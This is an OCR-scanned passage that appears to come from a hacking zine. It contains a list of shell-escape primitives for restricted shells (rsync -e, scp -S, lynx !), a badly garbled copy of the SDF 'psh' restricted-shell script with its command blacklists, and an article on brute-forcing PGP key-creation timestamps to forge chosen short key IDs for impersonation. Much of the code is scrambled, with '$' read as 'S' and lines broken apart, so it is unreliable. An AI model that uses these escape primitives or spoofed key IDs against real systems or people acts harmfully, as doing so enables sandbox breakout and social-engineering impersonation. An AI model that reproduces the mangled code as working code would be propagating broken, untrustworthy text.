— rsync -e <cmd> :: Execution primitive 

—- scp -F <file> ab: :: File read primitive 

—- scp -S <command> a b: :: Execution primitive 

—- lynx ’e’ :: File read/write in editor 

- lynx ! :: Execute Primitive 

— mail "“v" :: Execute primitive 


—-[ Appendix B - psh Source code 
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#! /usr/pkg/bin/pdksh 

stty susp ’’ intr ’’ quit ’’ erase ’%*h’ 
count=0 

ccount=0 

export TERM=xterm-color 


export SHELL=/dev/null 


export LESSSECURE=true 

export HISTORY=SHOME/.history 

export EDITOR=/usr/pkg/bin/pico 

export VISUAL=/usr/pkg/bin/pico 

export NNTPSERVER=VALIDATE.TO.ACCESS .USENET 
export MYTTY=‘tty|cut -d/ -f3,4°* 

export SMALLTTY=‘echo SMYTTY|cut -c4-5* 

export MYIP=‘echo S$SSH_CLIENT|/awk ’{print $1}’ * 


if 


[ 


then 


ex 
aaa 
if 


it 


[ 


then 


ex 
fa 


if 


it 


[ 


then 


fi 
it 


[ 


then 


it 


[ 


then 


fi 
fA 


-f S${HOME}/.profile 
rm -—f S{HOME}/.profile 
0 


-f£ S{HOME}/.kshrc ] 
rm -f£f ${HOME}/.kshrcec 
0 


"SMYIP" - ww ] 
MYIP="x.x.x.x" 


-f£ SHOME/.pshre ] 

BACKSPACE=‘grep BACKSPACE S$HOME/.pshrc|cut -d= -f2° 
"SBACKSPACE™ != "" ] 

stty erase SBACKSPACE 1>/dev/null 2>/dev/null 


5 


Validate () { 


echo 

echo "Validation is basically designed to protect us from spammers. There" 

echo "are ways you can get validated by an SDF member. For instance if you" 

echo "were a student and your professor taught a class here on SDF you" 

echo "could gain validation through that class." 

echo 

echo "If you were referred to SDF by a friend or a current SDF member," 

echo "they may be able to validate your new account for you. You can" 

echo "usually find SDF egulars in either ’com’ or ’irc’. Be sure to ask" 

echo "them to help you." 

echo 

echo "(continue) \c" 

read continue 

echo 

echo "Validating your account ensures our future! Please do it today." 

echo "Remember, you make SDF what it is. Without you, we wouldn’t exist." 

echo 

echo " 1) Get a stamped envelope, a sheet of paper and ONE (1) US Dollar." 

echo " 2) Write ’S$LOGNAME’ clearly in the upper left hand corner of the" 
cho "envelope." 

echo " 3) Fold the donation inside a piece of paper and place inside the" 
cho "envelope." 

echo " OPTIONAL: Send TWO (2) US Dollars & SASE for an SDF Bumper Sticker." 

echo 

echo " 4) Seal and mail to: SDF Public Access UNIX System" 

echo " Post Office Box 17355" 

echo " Seattle WA 98127 USA" 

echo 

echo "Alternatively you may ’/validate’ your account via PAYPAL by clicking" 

echo "on the" 

echo "’DONATE’ button at the bottom of the http://sdf.org website. The" 

echo "paypal" 
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echo "minimum is \$3. Please include ’Validate SLOGNAME’ in the Payment" 
echo "For field." 

echo 

#echo "We also accept BitCoin for validation:" 

echo "17GQEeNNHYPmkdgzHmHXiyMaVfgrhPvGBO" 

echo "We also accept BitCoin Please type ’bitcoin’ for details." 

echo 
echo "You may also credit the validation fee towards ’arpa’ membership" 
echo "should" 

echo "you decide to join ’arpa’ within 30 days of validating your account. 
echo 


echo "(continue) \c" 
read continue 
echo 


echo "To see what you get as a validated member, type ‘’user’" 

echo "For Lifetime ARPA membership to SDF via paypal, type ’arpa’" 

echo "To see a list of UNIX commands you can use *NOW*, type ’unix’" 

echo "To view user contributed tutorials, visit http://sdf.org/?tutorials" 
echo "US Military Personnel, please type /mil’" 


echo 

} 

Menu () { 

echo "SDF psh Version 8 - *PREVALIDATED SHELL ACCOUNT*" 
echo 

echo " what - what can I use this account for?" 

echo " unix — a listing of UNIX commands available to you NOW" 
echo " how -— information on increasing membership" 

echo " teach - using SDF in a classroom setting" 

echo " dialup - information about SDF dialup service" 
echo " arpa — about lifetime arpa membership" 

echo " bboard - sdf user message boards" 

echo " commode - chat with other users online" 


echo " ysm —- chat on the ICQ network" 

echo " bsflite - chat on the AIM network" 

echo " msnre - chat on the MSN network" 

echo " ttytter - listen to Twitter tweets anonymously" 
echo " lynx - browse the WWW textually or access GOPHER" 
echo " bksp - set your BACKSPACE key" 


echo " faq - frequently asked questions" 

echo " software - display software programs installed on the system" 
echo " quote - get a real time stock quote" 

echo " games - a listing of available games" 


echo " thxmoo —- connect to the THXMOO" 
echo " mud —- connect to the SDFmud" 


#echo " delm delete your free account" 

echo " validate - gain additional shell access (also try ’user’ for" 
echo "details)" 

echo 

} 

Move () { 

echo "Basic movement in $1:" 

echo 

echo "j - down (or rotate)" 


echo "k - up (or rotate)" 
echo "h - left" 


echo "1 - right" 

echo "q or Q to quit" 
echo 

echo "[RETURN] \c" 
read ret 


‘ 


case ‘uname -n* in 
ol) /usr/local/bin/maint 
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kill -9 0 ;; 
mx) echo 
echo "mx is reserved for mail service only." 
echo "Please use ’tty.sdf.org’ to connect to SDF." 
echo 
sleep 5 
kerb, 298.0. ses 
sverige) echo 
echo "sverige is reserved for MetaARPA members only." 
echo "Please use ’tty.sdf.org’ to connect to SDF." 
echo 
sleep 5 
kad = Ou Oo ap 
vinland) echo 
echo "vinland is reserved for VHOST members only." 
echo "Please use ’tty.sdf.org’ to connect to SDF." 
echo 
sleep 5 
kill -=9:.0 3; 
esac 
/usr/pkg/bin/expire 
echo "Would you like to VALIDATE your account now? (y/n) \c" 
case ‘/usr/pkg/bin/getchar* in 
121|89) echo "YES" 
Validate ; echo "[RETURN]\c";read return;; 
*) @CHO. “NOM <3 
esac 
echo 
echo "Please press your BACKSPACE key: \c" 
stty raw 
dd of=.$$ count=1 1>/dev/null 2>/dev/null 
stty -raw 
stty erase ‘head -1 .S$S* 2>/dev/null 
mm. =£ «$$ 
echo 
#echo "Enable Colours: (y/n) \c" 
case ‘/usr/pkg/bin/getchar* in 
89|121) COLOR=TRUE 
touch -f SHOME/.color ;; 
*) COLOR=FALSE ;; 
esac 
clear 
echo 
cho " 
echo "SDF host uptime report for Seattle WA, Dallas TX (USA) and Germany" 


echo " Please use ‘tty.sdf.org’ for general access" 
cho " 

echo 

/usr/local/bin/ruptime -a 


echo "(continue) \c 
read return 

/usr/pkg/games/pom 
/usr/pkg/bin/phoon 
echo "(continue) \c 
read return 

/u 
ec 
ec 
echo 


"\nType ‘help 
"Type ‘’com’ 
W Type 
echo "Type 
case ‘url 


No 
No 


‘mud’ 
SLOGNAME 


sr/pkg/bin/guestbook -1l 
Commands." 

with other users." 
listen to Twitter Tweets anonymously." 
to play the SDFmud." 


to chat 
'ttytter’ 


W 


"W 


50 
for 


to 


aruba} 


Rk Ke) 


"with files 
"Type ‘mk 


ec 
%:) 


ho 
echo 
esac 

case ‘echo SRANDOM 
1/2|3|415) echo " 


in $HOM 
homepg’ 


Jcut -cl* in 


Did you know you can becom 


echo "\nYour website is http://‘url ${LOGNAM 
E/html\n" 
to set up your personal website.\n" 


vv 


E}|awk ’{print $1}’.%" 


ET IME 


member" 


a permanent LIF 
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echo "of SDF" 
echo "by making a onetime donation of \$36? Type ’arpa’ for more info!\n" \ 


a 

61|7|8|19) echo "Did you know you can validate your account and gain weekend" 
echo "IRC access" 

echo "by making a donation of \$1 to \$3? Type '/validate’ for more" 

echo "info!\n" ;; 

esac 

/usr/pkg/bin/dues -p 

#Menu 

PROMPT="“‘uname -n*" 

while true 


do 

if [ ! -d SHOME ] 

then echo "You may have become an ARPA member." 
echo 


echo "The update is now taking place and may require 2 or 3 minutes to" 
echo "complete. You will now be logged out. When you reconnect, please" 
echo "use ssh to connect to /tty.sdf.org’ for load balancing." 

echo 

echo "[RETURN] \c" 

read return 


kill -9 0 

fi 

if -f SHOME/.mailcap ] 
then rm -f SHOME/.mailcap 
fi 

if "SCOLOR" = "TRUE" ] 
OMPT 


thene echo "$PROMPT: ‘pwd*> \c" 

fi 

read command 

arg=‘echo ${command}lawk ' {print $2,$3,$4,$5,$6}’' * 


#if [ "Sccount™ -gt "6" J 
then echo "\nPlease ’validate’ or join ‘arpa’ today." 
echo "Your membership ensures our future!!\n" 
ccount=0 
else ccount=‘expr S$ccount + 1* 
£1 
echo "[‘date +"%d-%b-Sy %H:3M:%S"* SMYIP SMYTTY SPROMPT] SPWD Scommand" \ 
2>/dev/null >>SHISTORY 
case ‘echo $command|awk ’{print $1}’|tr A-Z a-z* in 
tty) tty;; 
stty) stty;; 
lock) lock;; 
ulimit) ulimit;; 
uname*) uname ‘echo S{command}|/awk ’{print $2}’* ;; 
echo*) shift ${command} 
echo "S{command}" ;; 
how) /usr/local/bin/how;; 
cal*) /usr/pkg/bin/cal ‘echo Scommand|awk '{print $2}’°* ;; 
what) /usr/local/bin/newbie 


vv 


passwd*|chfn*|chsh*|maint) /usr/local/bin/passwd ;; 
url*) url=‘echo Scommand|awk ’{print $2}’ * 

url Surl;; 

gopher*) site=‘echo Scommand|/awk ’ {print $2}’ * 


if [ "Ssite" = woe ] 
then lynx -anonymous -restrictions=all gopher://sdf.lonestar.org 
else lynx -anonymous -restrictions=all Ssite 


fi 


bksp*) bksp=‘echo Scommand|awk ’ {print $2}’ * 
Lif [ "Sbksp" = we ] 


4.txt Wed Apr 26 09:43:48 2017 20 


then echo "\nTo set your backspace key, type '’bksp’ then press your" 
echo "actual key and then press return.\n" 

else stty erase Sbksp 

echo "BACKSPACE=Sbksp" > SHOME/.pshrc 

Eafe 


bitcoin*) /usr/local/bin/bitcoin ;; 

sftp*|ftp*) echo "\nPlease /’/validate’ your account to FTP files to and" 
echo "from your SDF account.\n" ;; 

tar* |make|cc* |tf*|gcc*|gt++*|perl* |python* | ruby*|*configure*|netstat*| \ 
telnet*|ssh*|rlogin*|screen* |nmap* | wget*) 

echo "\nTo use this feature, please join the SDF ’arpa’ membership" 

echo "ARPA membership is available to you for a one time donation of only" 
echo "\S36." 

echo 

echo "Your membership ensures our future! Type ’arpa’ for details.\n" 


aa 

getdialup*) npa=‘echo Scommand|awk ’ {print $2}’ * 

/usr/local/bin/getdialup Snpa ;; 

setdialup) echo "Please validate your account first. For now you can use" 


echo "’getdialup’ to find access numbers in your area." ;; 
phlog|deskshots|sdfers) echo "Please validate your account first." ;; 
dialup) /usr/local/bin/dialup ;; 


games) /usr/local/bin/games ;; 
mud) /usr/pkg/bin/mud ;; 

war) /sys/sdf/bin/war ;; 
warsetup) /sys/sdf/bin/warsetup ;; 
thxmoo) /usr/pkg/bin/thxmoo ;; 
bj) /usr/pkg/games/bj;; 

lander) /usr/pkg/games/lander;; 
othello) /usr/pkg/games/othello;; 
advent) /usr/pkg/games/advent;; 
zork) /usr/pkg/games/advent;; 
tttt) /usr/pkg/games/tttt;; 

moon) /usr/pkg/bin/moon-buggy; ; 


tetrinet) if [ "SLINES" -l1t "50" ] 

then echo "% tetrinet requires your TTY to be at least 50 lines." 
sleep 2 

fi 


tetrinet SLOGNAME tetrinet.sdf.org 


tess) /usr/pkg/games/tess;; 

c4) /usr/pkg/games/c4;; 

ski) /usr/pkg/games/ski;; 

knight) /usr/pkg/games/knight;; 
suicide) /usr/pkg/games/suicide;; 
dinkum) /usr/pkg/games/dinkum;; 
aybabtu) /usr/local/bin/aybabtu;; 
barnacle) /usr/pkg/bin/barnacle;; 
invaders) /usr/pkg/games/invaders 
stty sane ;; 

life) /usr/pkg/bin/life /usr/pkg/share/life/tiny.life ;; 
order) echo "Please validate your account first."j;; 
ysm) /usr/pkg/bin/ysm; ; 

micq) /usr/pkg/bin/rmicg; ; 
bsflite) /usr/pkg/bin/bsflite;; 
msnre) /usr/pkg/bin/msnre;; 
dopewars) dopewars;; 

zombies) Move Scommand 
/usr/pkg/bin/zombies;; 

snake) Move Scommand 
/usr/pkg/games/snake; ; 

wanderer) Move Scommand 
/usr/pkg/games/wand; ; 

worm) Move Scommand 
/usr/pkg/games/worm; ; 

greed) Move $command 
/usr/pkg/games/greed;; 
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tetris) Move S$command 
/usr/pkg/games/tetris;; 

sokoban) Move Scommand 
/usr/pkg/games/sokoban;; 

robots) Move Scommand 
/usr/pkg/games/robots;; 

torus) Move S$command 

/usr/pkg/games/torus;; 

mazewar) /usr/local/bin/mazewar;; 

mdg) /usr/local/bin/mdg 

if [ "so" != "gu ] 

then echo "\nMDG might not be running at the moment" 
echo "Please try again later." 

poe 

dict*) args=‘echo Scommand|awk ’ {print $2}’ * 
dict Sargs 


quote*) args=‘echo Scommand|awk ’ {print $2}’ * 
quote Sargs 

cal*) args=‘echo Scommand|awk ’{print $2}’ * 
cal Sargs 


ad 

domains) /usr/local/bin/domains ;; 

unix) unix ;; 

linux) linux;; 

dig*) domain=‘echo Scommand|awk ’{print $2" "S3" "S4" "S5" "s6" 
dig $domain 

i? 

host*) domain=‘echo Scommand|awk ’{print $2" "S3" "S4" "S5" "s6" 
WSepr 

host Sdomain 

ir 

geoip*) domain=‘echo Scommand|awk ’ {print $2}’ * 

geoip $domain 

rT 

whois*) domain=‘echo Scommand|awk ’ {print $2}’ * 

jwhois $domain 

i? 

nslookup*) domain=‘echo Scommand|awk ’ {print $2}’ * 

nslookup $domain 


fg 

pkg_info) pkg_info 2>/dev/null|sort|more ;; 

lynx*restrict*) echo Scommand|mailx -s "SLOGNAME" smj;; 

lynx*) url=‘*echo Scommand|awk ’ {print $2}’ * 

if [ "Surl" —_ ww ] 

then lynx -anonymous -restrictions=all http://sdf.lonestar.org 
else case Surl in 


http:*) 7; 

*) url="http://Surl" ;; 

esac 

lynx -anonymous -restrictions=all $url 


eas 
a 


edit*|vi*|pico*|emacs*) file=‘echo Scommand|awk ’{print $2}’ * 
bila ay [ "Sfile" = wee ] 
then echo "usage: edit {file}" 

lse case $file in 

*../*|* .kshrce*|*.bashre*|*.pshre*|*.muttre*|*.telnet*|*.mailcap* 
forward*|*.plan*|*.cfg*|*.history*) echo "usage: edit {file}";; 
*) /usr/pkg/bin/pico -t -b -o SHOME SPWD/Sfile ;; 
esac 

fas 

i? 
man*) man ‘echo Scommand|awk ’ {print $2}’%;; 
rm*) target=‘echo Scommand|awk ’{print $2}’ * 


Wop 


wort 


[PN 


if [ "‘echo Scommand|awk ’{print $3}’7*" !="" ] [| [— "Starget"™ = "™ ] 


"S8}! ‘ 


\ 


4.txt Wed Apr 26 09:43:48 2017 22 


then echo "usage: rm {filename}" 

else case Starget in 

* -hhistory*|*psh*|*.hushlogin*) echo "Can’t remove Starget";; 

*) if [ -d Starget ] 

then rm -rf $target 

else rm Starget 

£L;; 

esac 

Lif; 

mv*) oldname=‘echo Scommand|awk ’{print $2}’ * 

newname=‘echo Scommand|awk ’{print $3}’ * 

if [ "‘echo Scommand|awk ‘’{print $4}’7*" !="" J] [|| [ "Soldname" = "™" ] | 
[ "Snewname" - ww ] 

then echo "usage: mv {oldfile} {newfile}" 

else case SoldnameSnewname in 

* muttc*|*.kshrce*|*.mailcap*|*.telnet*|*.plan*|*html*|*.forward*|*. \ 


history*|*psh*|*.hushlogin*|*.cfg*) echo "Cant move Soldname to S$newname"; ; 


*) mv Soldname Snewname ;; 

esac 

fi 

ping*) /sbin/ping -c5 ‘echo S$command|awk ’ {print $2}'°%;; 
teach) cat ~ftp/pub/sdf/faq/TEACH/01;; 

traceroute*) traceroute ‘echo Scommand|awk ’{print $2}’* & ;; 
games) games;; 

disk) disk;; 

df*) df ‘echo Scommand|awk ’ {print $2}'’° ;; 

oneliner) /usr/pkg/bin/oneliner;; 

rogue) /usr/pkg/games/rogue ;; 

hack) /usr/pkg/games/hack ;; 

nethack) /usr/pkg/bin/nethack ;; 

hunt*) echo 

echo "hunt commands:" 

echo 

echo "j -— down" 

echo "k - up" 

echo "h - right" 


echo "1 - right" 
echo "1 - gun" 
echo "2 -— grenade" 


echo "3 — bomb" 

echo "q - quit" 

echo 

echo "the shift key plus j,k,h or 1 changes direction" 
echo 
/usr/pkg/games/hunt ‘echo $command|awk ’{print $2}’%;; 

upload) echo "press CTRL-X several times to abort." 

lrz -yi; 

mkdir) directory=‘echo Scommand|awk ’ {print $2}’ * 

case S$directory in 

*html*|*.plan*) echo "usage: mkdir {name}";; 

*) mkdir Sdirectory;; 

esac;; 

#mkhomepg* |mkhome*) mkhomepg ‘echo Scommand|awk ’ {print $2}'%;; 
mkhomepg* |mkhome*) echo "mkhomepg has been temporarily disabled for" 
echo "prevalidated users." ;; 


vhost) echo 
echo " As a lifetime ARPA member, you can increase your membership level" 


echo " so that you may virtually host your own domain name on SDF. This" 
echo " includes DNS, mail service and virtual webhosting. For more info" 
echo " check out the FAQ: file" 

echo ;; 


help) Menu; ; 
profiles) /usr/pkg/bin/profiles ;; 

freeirc) echo "% 'freeirc’ is available to ALL validated users from" 
echo "Friday 23:59:59" 

echo " through Monday 00:00:01 UTC. Please /’/validate’ your account" 
echo "today!" ;; 


\ 


¥ 
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user) echo "\nValidated users (\$1.00 or more) have immediate access to:\n" 
echo " 200mb total (home, web, mail & gopher)" 

echo " incoming file transfers via ftp or sftp" 

echo " elm, pine, mutt, mailx, rmail, pop3, gopher" 

echo " bash, ash, ksh, tcsh, rec, zsh, tclsh" 

echo " your URL http://SLOGNAME.freeshell.org" 

echo " limited cgi execution (shell scripts)" 

echo " icq, aim, talk, commode, bboard" 

echo " dialup ppp/shell access in the US and Canada" 


echo " USENET and ClariNET read/post access" 
echo " freeirc on Saturdays and Sundays" 
echo " hundreds of UNIX utilities" 

echo 


echo "The purpose of the prevalidated account is to help newusers" 
echo "learn about the UNIX system. Type ‘unix’ to see what UNIX" 
echo "commands are available to you right now. You can validate" 
echo "your account today! type ’/validate’ to validate\n";; 

env) env;; 

set) set;; 

#delme) delme;; 

bboard) /usr/pkg/bin/bboard;; 

eggdrop*) echo "% eggdrop is available to MetaARPA members only" ;; 
psybnce*) echo "% psybnce is available to MetaARPA members only" ;; 
arpa|join|member) arpa;; 

auction) auction;; 

cat*|more*|less*) file=‘echo Scommand|awk ’ {print $2}’ * 

case $file in 


*psh*) file="" 

*random* |*null*|*zero*) echo "% Ja tvoi sluga ja tvoi rabotnik";file="" ;; 
esac 

Lif [ "Sfile" = wee ] 

then echo "usage: cat {filename}" 

else if [ "‘we -l Sfilelawk ’{print $1}’*" -ge "500" ] 


then tail -500 Sfile 

else cat Sfile 

fi 

aE aeice 

software*) /usr/local/bin/software ‘echo S$command|awk ’{print $2}’* ;; 
cd*) cd ‘echo Scommand|awk ’{print $2}' %;; 

finger*) user=‘echo Scommand|awk ’ {print $2}’ * 

case S{user} in 

*—-*) user=root ;; 


esac 

size=‘ruptime -a|lawk ’END {print $1}’ * 

if [ "Suser" = woe ] 

then echo "You are on ‘uname -n* among $size users. (’validate’ to see" 


echo "usernames)" 
lse finger -m $user 
fi 7; 
date) date ;; 
whereis*) whereis ‘echo Scommand|awk ’ {print $2}' %;; 
locate*) locate ‘echo Scommand|awk ’ {print $2}’°* ;; 
whoami*) /usr/bin/whoami ;; 
who|w|ps*|last*) 
size=‘ruptime -alawk ’END {print $1}’ * 


echo "You are on ‘uname -n* among Ssize users. (’validate’ to see" 

echo "“usernames)" ;; 

uptime|ruptime*) ruptime -a;; 

chmod*) chmod ‘echo Scommand|awk ’{print $2" "S3}’* ;; 

ls*|[11*|dir*) if [ "SCOLOR" = "TRUE" ] 

then /usr/pkg/bin/colorls -a ‘echo Scommand|awk ’{print $2}’|tr R r* 
lse ls -a ‘echo Scommand|awk ’{print $2}’|tr R r* 

Del Grp 

sl*) /usr/pkg/bin/sl ;; 

pwd) pwd;; 


msg) msg ;; 
# ps*) ps ‘echo $command|awk '{print $2}'* ;; 
validate) Validate ;; 
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mil) /usr/local/bin/mil ;; 
why) echo 
echo "It didn’t used to be this way .. but you must understand that your" 
echo "small token of trust builds a better SDF for all of us:" 

echo 

echo "Due to the increased number of security and spam attacks, we are now" 
echo "asking that you send ONE US Dollar (or 5 EURO note) as a token of" 
echo "your sincerity in becoming a longterm member of our community. It is" 
echo "unfortunate that the net has become filled with people whose daily" 
echo "goal in life is to terriorize others online. We believe that asking" 
echo "for ONE US Dollar would not present a burden" 

echo "to anyone in the world. We hope to keep SDF a safe and secure haven" 
echo "for you and other shell users. To get an SDF bumper sticker, send in" 


echo "TWO US Dollars and a SASE (Self—-Addressed Stamped Envelope). Please" 
echo "include your username." 

echo 

echo " SDF public access UNIX system" 


echo " Post Office Box 17355" 
echo " Seattle WA 98127 USA" 


echo;; 

w*) size=‘ruptime -al|lawk ’END {print S$1}’°* 

echo "You are on ‘uname -n* among Ssize users. (’validate’ to see" 
echo "usernames)" ;; 


alpine*|pine*|mail*|mutt*|/elm*) case ‘echo Scommand|awk ’ {print $2}’* in 


-*) echo "unknown mail flag." ;; 
*) mutt -F /sys/pkg/etc/rmuttre ;; 
esac;; 


*irc*|bitchx*|irssi*|epic*|freeirc*) 


#tetrinet SLOGNAME tetrinet.sdf.org ;; 
echo "-=- Basic IRC Commands -=-" 

echo 

echo "/list - List channels" 

echo "/join #channel - Join a channel" 
echo "/list #channel - Leave a channel" 
echo "/msg nick msg - Send a private message" 
echo "/who - Who is on" 

echo "/quit - Quit IRC" 

echo 

echo "-(continue)-\c" 

read ret 


/usr/pkg/bin/oirc -p 7000 S{LOGNAME} irc.sdf.org 
#/usr/pkg/bin/oirce -p 6667 S{LOGNAME} irc.sdf.org 
echo ;; 


com|chat|commode) \ 

room=*/usr/pkg/bin/comwho|head -3|tail -llawk '’{print $1}’ * 
echo "ROOMNAME=Sroom" > SHOME/.comrc 

/usr/pkg/bin/com ;; 
pcom|pcommode) room=‘*/usr/pkg/bin/pcomwho|head -3|/tail -llawk ’{print $1}’°* 
echo "ROOMNAME=Sroom" > SHOME/.comrc 

/usr/pkg/bin/pcom ;; 

ttytter*|twitter*) echo "% Twitter username (or [RETURN] for anonymous) :\c" 
read tweet 

if [ "Stweet" —_ ww ] 

then echo "% Logging in anonymously" 

/usr/local/bin/ttytter -anonymous 

else /usr/local/bin/ttytter -user=Stweet 

£477 
w2k) /usr/local/bin/w2k ;; 

mkgopher) mkgopher;; 

faq) faq;; 

clear) clear;; 

usenet |trn*|tin*|slrn*|nn*|rn*) echo "% USENET is available to validated" 


echo. “usersi.™ 34 
die) echo "you has failed." 
sleep 4 


exe iu oss 
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logout |leave|bye|quit|exit|escape|terminate|cease|logoff|end) 
clear 
echo "Would you like to remove your account from our system? (y/n) \c" 
read ans 

case Sans in 

y*|Y*) delme ;; 

*) echo "%$ '’SLOGNAME’ will not be deleted." ;; 

esac 
echo "Good Bye from the S DF-1.." 
echo 
echo "Please ‘validate’ or join ’arpa’ soon." 
echo "Your support is appreciated!" 


echo 
echo "Thank you!" 
sleep 8 
exit 0;; 


uinfo|lexpire) uinfo;expire ;; 

dues) /usr/pkg/bin/dues S{arg} ;; 

#helpdesk) /usr/pkg/bin/helpdesk ;; 

guestbook) /usr/pkg/bin/guestbook ;; 

id*) /usr/bin/id ${arg} ;; 

nospam) echo "You must be validated to use this feature." 


oa 


*) if [ "Scommand™ != ™" ] 
then echo "psh: Scommand: not found - try ’help’ for commands" 
else if [ "Scount™ -gt "20" ] 


then exit 0 
else count=‘expr $count + 1* 


fi 
fey 
esac 
doneecho " 
=[ 0x04 J=---=[ Personalized PGP Key IDs - fllos0Ott113 ] 
[ Personalized PGP Key IDs for fun and profit ] 
[ fllosOtt113 ] 
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---[ 1 - Introduction 


Everybody should be allowed to have his (or someone’s) own PGP key ID. Who 
doesn’t want his PGP key to match his favorite hex nickname or his 
target’s key for some cheap social engineering? I certainly want, so I 
started researching how they are derived and if they could be bruteforced. 


Note: when we speak about key IDs here we mean the 4-byte short ones that 
everybody love to use. However, given enough processing power (or maybe a 
SHA1 ASIC|preimage attack) the process can obviously scale to any key ID 
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= [ 1.1 - Prior work 


GIYF, right? Well, a couple people tried this and lived to tell the tale 
(or, well, decided to make it public) but none of them permitted me to get 
a 4096 bit RSA key as I wanted it. 


In May 2010, halfdog posted on full-disclosure [1] some Java code that 
worked on DSA keys. Not exactly fast or customizable, but hey, it was 3 
years ago. 


Then, in Dec 2011, Asheesh, a Debian dev particularly fond of his key ID, 
found a way to create a new RSA 4096 key with that ID (and a bug in GnuPG 
handling of duplicate keys) [2]. He highlighted the disruptive potential 

of that and decided not to release the code. Bummer. 


But the keyservers carry even older evidence (even if one shouldn’t trust 
the key creation field, especially on these keys): the first example of 
custom IDs I could find is 


pub 1024R/A69AB99CDEADBEEF 1995-09-28 


I 


that actually employs a old packet type. 


So we are not doing anything truly new, but there’s still not a public 
method to get an arbitrary key with an arbitrary key ID. 


[ 2 The spec 


So, let’s get our hands dirty: grab the OpenPGP spec, RFC 4880 [3], and 
look up how are those key IDs derived [RFC 4880 - 12.2]. 


[ RFC 4880 - 12.2. Key IDs and Fingerprints ] 


For a V3 key, th ight-octet Key ID consists of the low 64 bits of 
the public modulus of the RSA key. 


Woah, that easy? No, it’s not. Version 3 keys are deprecated [RFC 4880 - 
5.5.2], for a bad reason —- key IDs collisions, ahem - and a good reason —- 
MD5. So, as we don’t want to build our new shiny RSA 4098 on MD5, let’s 
move on to V4 keys. 


[ RFC 4880 - 12.2. Key IDs and Fingerprints ] 


A V4 fingerprint is the 160-bit SHA-1 hash of the octet 0x99, 
followed by the two-octet packet length, followed by the entire 
Public-Key packet starting with the version field. The Key ID is the 
low-order 64 bits of the fingerprint. 


Great, so what’s in a Public-Key packet? 


[ RFC 4880 - 5.5.2. Public-Key Packet Formats ] 


A version 4 packet contains: 


A one-octet version number (4). 
- A four-octet number denoting the time that the key was created. 


- A one-octet number denoting the public-key algorithm of this key. 


- A series of multiprecision integers comprising the key material. 
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Note: numbers are big-endian [RFC 4880 - 3.1] 


So the variable parts are the creation timestamp and the key material. The 
key material is a bunch of algorithm-specific MPI [RFC 4880 - 3.2] which 
can’t be tampered with without changing their value. 


One might also try to add garbage to the packet, but implementations strip 
it. Bummer. 


---[ 3 - The attack 


Great, we know what constitutes the key ID, and we know that we can tamper 
with the key creation value and/or with the RSA/DSA/Elgamal parameters. I 
decided to only loop through the key creation field for a simple reason: I 
don’t trust a crappy tool written by me with RSA primes selection, in 
particular in a scenario like this where a lot of different primes are 
needed, as skews can lead to disastrous consequences [4]. 


After all entropy usage couldn’t be optimized much and at least this way 
we have the peace of mind of GnuPG generated keys. 


So we will simply build a bruteforce on the key creation timestamp value. 


wi = [ 3.1 - Preparation 


Ok, let’s dive in. First of all fence your GnuPG env, to avoid cluttering 
or damaging your own. 


S mkdir -m 700 GNUPGHOME && export GNUPGHOME= ‘pwd */GNUPGHOM 


Gl 


Now we need to generate a pool of enough keys to have a fair chance of 
finding a match, but how many? Well, obviously it depends on the number of 
seconds in the time frame we consider acceptable for the key creation time. 


Let’s dive into some math. Since SHA1 is unbiased each try is independent 
and for each try we have a fixed probability of finding a match: one into 
the number of different possible suffixes = 1 / 2%32. 


So, the only thing that matters is how many tries we can do. This number 
is s (seconds in the time frame) * x (number of keys in the pool). 


The probability of finding a match in k tries is 1 less the probability of 
failing all of them [5] and this last is (prob of failing one) * k = 
(2832 = Tf 2382) Tike 


Here are the final formula and a handy table: 


DAZ 2° =" A: Sok x s = seconds in the time frame 
y 1 ( ) x = number of keys in the pool 
2°32 y = probability of a success 


frame \ prob 0.50 0.75 0.90 0.95 0.99 


past 3 5 8 10 15 
5y 19 38 63 82 126 
ly 95 189 314 408 628 


For a fancy 3D graph you can plot the probability on a (years in the time 
frame X keys in the keypool) space [6]: 


yo = Le (0248 8265.1) fF 2 B82). > 060. * 60° #24 -* B65. ae xx) 
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GnuPG has a convenient function to generate keys in batch mode: 


S gpg no-default-keyring --secret-keyring ./secpool.gpg \ 
--keyring ./pubpool.gpg --trustdb-name ./trustpool.gpg \ 
—-gen-key --batch batchfile.txt 


# batchfile.txt 

Key-Type: RSA 

Key-Length: 4096 

Name-Real: Filippo Valsorda 
Name-Comment: fllosOtt113 
Name-Email: fllosOtt113@phrack.com 
Expire-Date: 0 


Note: it does not matter what you set in the Name-* fields, as we are 
going to discard the uid to create a validly signed one later. 


Set it to run the number of times you want, maybe plug in haveged [7], a 
Geiger or a radio producing white noise and... uh, go grab a coffee. 


SasS= [ 3.2 - The crash 


Well, now we have our keypool and we need to bruteforce the key ID out of 
it. I wrote a Python 3 + Cython parallelizable implementation, crash.py. 


Compile the Cython module with (you’1ll need Cython and OpenMP): 


S python3 setup.py build_ext --inplace 
Note: clang and old gcc versions panicked, I used gcc 4.7. 


Then start the bruteforce with 


S$ python3 crash.py pubpool.gpg NEWKEYID [O0xTIMESTAMP] 


where OxTIMESTAMP is the lowest limit to the creation time, if any. 


Want to know something cool? The only thing needed to do the bruteforce is 
the pubpool, so you can export it out of your crappy airgapped system and 
perform the number crushing on some powerful untrusted machine. 


You will hopefully get a result like this 


Current fingerprint: 9b179a2af2f£8a744b2214de4eec578Ff57e61d52a 
Current timestamp: 0x512187c9 

NEW fingerprint: d8efd70f8479432e9158ac2J7eb56af7c42424242 
RESULT timestamp: 0x1b550652 


Se eae [ 3.2.1 - Runtime stats 


The bulk of the heavy-lifting involved in this bruteforce is making the 
SHA1l hashes, and one of them is done for each timestamp tried. The number 
of tries is clearly independent of the width of the time frame, and grows 
with the probability of finding a match. The two - probability and tries - 
are bound by a simplified version of the formula above. 


ZE32? Sl! x 
y L ( ) x 
2°32 y 


tries / SHA1 hashes 
probability of a success 


So what matters here is what SHAl hashrate we manage to get. The crash.py 
Cython implementation is quite fast, and achieves 3.0 * 10%6 h/s ona 
quad-core 2.3 GHz i7 or 8.3 * 10%6 h/s on a AWS EC2 cc2.8xlarge instance. 


Note: this means that a matching key would cost you $0.50 of Spot Instance 
as of April 2013. 


However, much better can be done: the oclHashcat-plus guys claim a 3.081 * 
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10*°9 SHA1/s on a AMD hd6990 GPU [8]. With an hashrate like that, a match 
can be found in a matter of seconds. Writing a high-performance CUDA or 
OpenGL implementation is left as an exercise to the reader ;) 


Here is a reference table of running times: 


probability 0.50 0.75 0.90 0.95 0.99 
tries / 10%*9 2.9 539 9.8 12.8 19.7 
